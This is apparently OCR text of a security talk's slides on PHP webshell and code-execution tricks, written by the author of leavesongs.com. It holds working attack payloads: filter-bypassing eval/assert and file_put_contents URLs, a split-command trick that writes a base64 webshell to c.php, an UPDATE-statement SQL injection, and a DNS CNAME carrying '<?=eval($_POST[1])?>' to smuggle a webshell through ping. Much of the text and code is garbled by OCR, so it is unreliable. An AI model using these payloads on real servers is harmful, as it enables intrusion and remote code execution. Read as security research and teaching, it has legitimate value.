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<?php
= [!param'];
If (
( ) < 17 &&
, ~eval') === false &&
, rassert') === false
R




'$_GET[1])

=> Length:10

> FIAEE: K

> EER: 5

> FABUEIH{E:O
IR exec($ GET[1]):




include$ GETI[1];

=> Length:16
> FAEE: &
> FREXR K
> FBRUETHE:40

phpinfo(); = $ FILES[filelltmp name] = include
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foo.php?1=file_put_contents&param=$_GET[1](N,6P,8);
foo.php?1=file_ put_contents&param=$_GET[1](N,D,8);

foo.php?1=file_put_contents&param=$_GET[1](N,w,8);

foo.php?param=include$_GET[1];&1=php://filter/read=convert.b
ase64-decode/resource=N

= Length:16
> FIRAMEE:F
2> NEEX:E
> FRETH{E:80




usort(...$ GET);

foo.php?1[]=test&l[]=phpinfo();&2=assert

= Length:16

> FAEE: K

> IMRER:F
> FHETH{E: 100

PHP5.6+TKSH = usortBliAF[] = EEAKEAIT
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FoAGRAMAS, EINEERIAMEREIF8FHHER, EE

FER\O, [REIE71TFF

<?php
= [_param' ],
If ( ( =8 {
echo ( )

}

r=n ke
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> 0 = Length?
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: $
: $
: $

w>hp

w>cC. p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\ | \\
w>XSKk\\

w>PD9\\
w>0\ \\
w>ech\\
1s -t>0
sh ©




www: $ 1s -t

ech\ o \ PD9\ waH\ Agz\ XZh\ bCg\ kXO\ dFV\ Fsx\ XSk\
7|\ bas\ e64\ -\ d>\ c.p\ hp

www: $ echo PDO9waHAQZXZhbCgkXOdFVFsxXSk7| base64 -d>
c.php




- Length:7

> FAEE: K

> REEX:E
> FHETH{E: 100
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MysqlZR B H#R1T £ R TH
SQLEA s '$table’, TiEZ1TEFF, ERRILUFA

<?php
= MUPDATE - { +-
SET "username ='admin'
WHERE id=1";
( ' )
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- [#] TTRERE

= [-- 1 1TARFE,

o [/FL M/ BRIRRE mI 4T

= ] . AT LME A ERE

o Mysgl @@version <= 5.5

o ZE : https://goo.gl/633Ej7

L] , AIEEASSHEE —aSQLIEA
= PDO

o Mysgl X

o Mysqgli X




Mysql Update Syntax

Updateigi%: https://goo.gl/LkSDVa

UPDATE [LOW_PRIORITY] [IGNORE]

SET col _namel={exprl1|DEFAULT} [,
col _name2={expr2|DEFAULT}]

[WHERE where_condition]

[ORDER BY ...]

[LIMIT row_count]

table reference BILLEZMLERA ?



https://goo.gl/LkSDVa

Mysql Update Syntax

table_reference FILIEZR%A, EEJoinBliSEI ARKIZ IR
Joini&% . https://qoo.gl/1vIf7E

table_reference [INNER | CROSS] JOIN

table_factor [join_condition]

| table_reference STRAIGHT_JOIN table_ factor

| table reference STRAIGHT JOIN table factor ON
conditional_expr

| table_reference {LEFT|RIGHT} [OUTER] JOIN
table_reference join_condition

| table_reference NATURAL [{LEFT|RIGHT} [OUTER]]
JOIN table_factor



https://goo.gl/lvIf7E

UPDATE user JOIN (SELECT
updatexml (@, concat(0xa, 1, 9)
a#

SET username='admin'

WHERE id=1;

> FAEE: K
> IFIEEX: K
> FEUEIRIE:70
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<?php
£ o P, :
if ( ($1p, "&;  [*2()$\\\x00") !== false) {
( 'WAE');
k;
if ( ($ip, '.php') !== false) {
('WAE');
t
($1p);

(l\>I, I>l’ );

(ping- -ci e );
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wwwi: $ una""me -a
Linux vultr.guest 4.9.6-040906-generic #201701260330 SMP

Thu Jan 26 08:32:10 UTC 2017 x86_64 x86_64 x86 64
GNU/Linux
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stripos($ip, '.php®)
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www: $ ping -cl www.leavesongs.com
PING leavesongs.com (107.191.60.143) 56(84) bytes of
data.

64 bytes from 107.191.60.143.vultr.com (107.191.60.143):
icmp_seq=1 ttl=64 time=0.033 ms

--- leavesongs.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time
Oms

rtt min/avg/max/mdev = 0.033/0.033/0.033/0.000 ms




DNSHRFZ ==& &

Hir:12EZEEH 2 IDNSARSS 28, FiR[EI B & Webshel B ICNAMEIE &
JRE: DNSPODZEDNSIRSZSE A ZFCNAMER B S5 %A=
1252 : | FHdnslib.py

= DNSRecord.parse( )

= DNSRecord(DNSHeader (1d= ,ar=i, aa=1,
ra=1), 9= )

= request.qg.gname

gn.startswith('aaa.dddns.leavesongs.com'):
= CNAME( '<?=eval($ POST[1])?>.dddns.leavesongs.com')
reply.add_answer (RR(rname= , rtype=5, rclass=1, ttl= ;

rdata= ))

= A('107.191.60.143")
reply.add_answer (RR(rname= ,rtype=1, rclass=1, ttl= X
rdata= ))




www: $ ping -cl aaa.dddns.leavesongs.com

PING <?=eval($_post[1])?>.dddns.leavesongs.com
(107.191.60.143): 56 data bytes

64 bytes from 107.191.60.143: icmp_seq=0 ttl=50
time=101.293 ms

--- <?=eval($_post[1])?>.dddns.leavesongs.com ping
statistics ---

1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev =
101.293/101.293/101.293/0.000 ms
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www: $ nslookup aaa.dddns.leavesongs.com
Server: 8.8.8.8
Address: 8.8.8.8#53

Non-authoritative answer:
aaa.dddns.leavesongs.com canonical name =
<?=eval\(\$_POST[1]\)?>.dddns.leavesongs.com.

Name: <?=eval\(\$_POST[1]\)?>.dddns.leavesongs.com
Address: 107.191.60.143

www: $ pilng -cl aaa.dddns.leavesongs.com
ping: unknown host aaa.dddns.leavesongs.com
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stripos($ip,
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“ping yourdomain.com > 1.ph""p®
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> FIFAEE: 35
> EEXK: 5
> FHEEIRE:90




.........................................................................................................................................

T EBHFEWebshellfg&EH 17

FIRRE




A& — 1 EF B HBFRPHP
Webshell ?




T F R F R Webshell¥:&E 317
XBE—XKW—1TFENE

<?php

i 1 ('/[a-z0-9]/is',

( [ -shell 15~
}

['shell’])) {
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< TRUE == 1 & FALSE == 0 & TRUE + TRUE == 2

» PHPZZSE##INIT © $f='assert';$f(...); © PHP7HIRHI
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FEMEFRIE

> Payloadti &M E K
> FIAEE: K
> RERE
> FECER{E:40
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- Payload#i &M E : &
> FIAEE: K
> RERE
> HFHHEERE:50
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PHP B 12 {5 1F

= Pi++

- PHPEE == CGES BI2ER + Perl BI8E R
iRl R R B LR » W 1 SR — L RS AR R T S
s NFBFRLITER
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BIgIREXT AR RIF B 2

o RIFFHR'A' > REFH'B' > ... REFH'Z
« WE[ZRENFER'A' 7

= PHP5.3- #i4H & PHP5.3+ #(4H

BRI Oy

= 'Array' {0} === 'A’

= 'Array'{3} === 'a'

(m] 1 hxay e

feri b g L

(m]




[1; $_{''}==="A'
&,E+Ei§*’ﬂﬁ—'?ﬂﬁi

-> Payload#ilEXE : &b
> FIAEE:F
> RERE
> HHEETE:80
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Thanks!

ANY QUESTIONS?

You can find me at:

@phithonFITEEE A BB

https://www.leavesongs.com
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